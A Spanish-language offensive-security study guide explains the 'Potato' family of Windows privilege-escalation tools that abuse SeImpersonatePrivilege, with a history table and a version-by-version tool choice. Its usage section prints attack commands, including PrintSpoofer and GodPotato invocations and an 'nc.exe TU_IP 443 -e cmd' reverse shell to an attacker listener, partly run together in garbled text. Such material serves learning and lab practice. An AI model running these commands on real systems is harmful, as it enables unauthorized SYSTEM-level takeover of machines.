La familia POTATO
Si al hacer whoami /priv ves SeImpersonatePrivilege (típico en cuentas de servicio: IIS, SQL, web), tienes el camino más fiable a SYSTEM en Windows. Es una familia entera de exploits que han ido evolucionando a medida que Microsoft parcheaba. Aquí están TODOS, por qué existe cada uno, y cuál usar según la versión.
🥔La idea en una frase
Con SeImpersonate puedes suplantar el token de cualquier cliente que se conecte a ti. El truco de todos los Potato: engañar a un proceso que corre como SYSTEM para que se autentique contra TI (por una named pipe, por COM/DCOM, por el servicio de impresión...). Cuando lo hace, suplantas su token -> ejecutas como SYSTEM. Cambia el "cómo lo engaño"; la idea es siempre la misma.
🌐Por qué las cuentas de servicio tienen SeImpersonate
IIS, MSSQL y muchos servicios corren como cuentas especiales (NT Service\..., IIS APPPOOL\..., mssqlserver) que necesitan SeImpersonate para atender a clientes en su nombre. Por eso, cuando consigues RCE en una web o una inyección SQL que te da shell, sueles caer como una de estas cuentas: miras whoami /priv y ahí está tu billete a SYSTEM.
⏱La familia, en orden histórico (y por qué cada una)
Microsoft fue parcheando; cada Potato nació para saltar el parche anterior:
| RottenPotato (2016) | el original. Suplanta vía NTLM relay local + DCOM. Hoy sobre todo conceptual/histórico. |
| Lonely/Juicy Potato (2018) | generaliza RottenPotato: eliges el CLSID de un objeto DCOM. MUY usado. Funciona hasta Windows 10 1809 / Server 2016; Microsoft lo mató en builds posteriores. |
| RoguePotato (2020) | cuando Juicy dejó de ir: usa un OXID resolver REMOTO (necesitas un redirector en el 135) para volver a abusar de DCOM. |
| PrintSpoofer (2020) | abusa del servicio de impresión (Print Spooler) y una named pipe. MUY fiable y simple en Server 2019 / Win10+. Nuestra 1ª máquina. |
| GodPotato (2023) | vía DCOM que funciona en un rango AMPLÍSIMO (Server 2012 R2 -> 2022, Win8 -> 11). Hoy es la navaja suiza. |
| SweetPotato / JuicyPotatoNG / LocalPotato (2022-23) | colecciones y variantes nuevas que combinan técnicas o explotan fallos recientes (p.ej. LocalPotato, CVE de NTLM local). |
▶Cómo se usa (flujo general)
PrintSpoofer.exe -i -c cmd · GodPotato.exe -cmd "cmd /c whoami".nc.exe TU_IP 443 -e cmd o un payload para recibir SYSTEM en tu listener.El comando exacto de cada Potato lo tienes en el Arsenal. Aquí entiendes CUÁL y POR QUÉ.
🧐¿Cuál uso? (guía rápida por versión)
| No sé la versión / quiero fiabilidad | GodPotato (rango amplísimo) o PrintSpoofer. Empieza por aquí. |
| Server 2016 / Win10 <= 1809 | JuicyPotato (el clásico) suele ir directo. |
| Server 2019 / Win10 >= 1903 | PrintSpoofer o GodPotato (JuicyPotato ya no). |
| Server 2022 / Win11 | GodPotato (o variantes NG/Sweet si hiciera falta). |
| JuicyPotato no va y no hay internet al 135 | PrintSpoofer (local, sin OXID remoto) o GodPotato. |
whoami > C:\Windows\Temp\o.txt y léelo. A veces ejecuta bien pero no ves la salida en tu shell actual.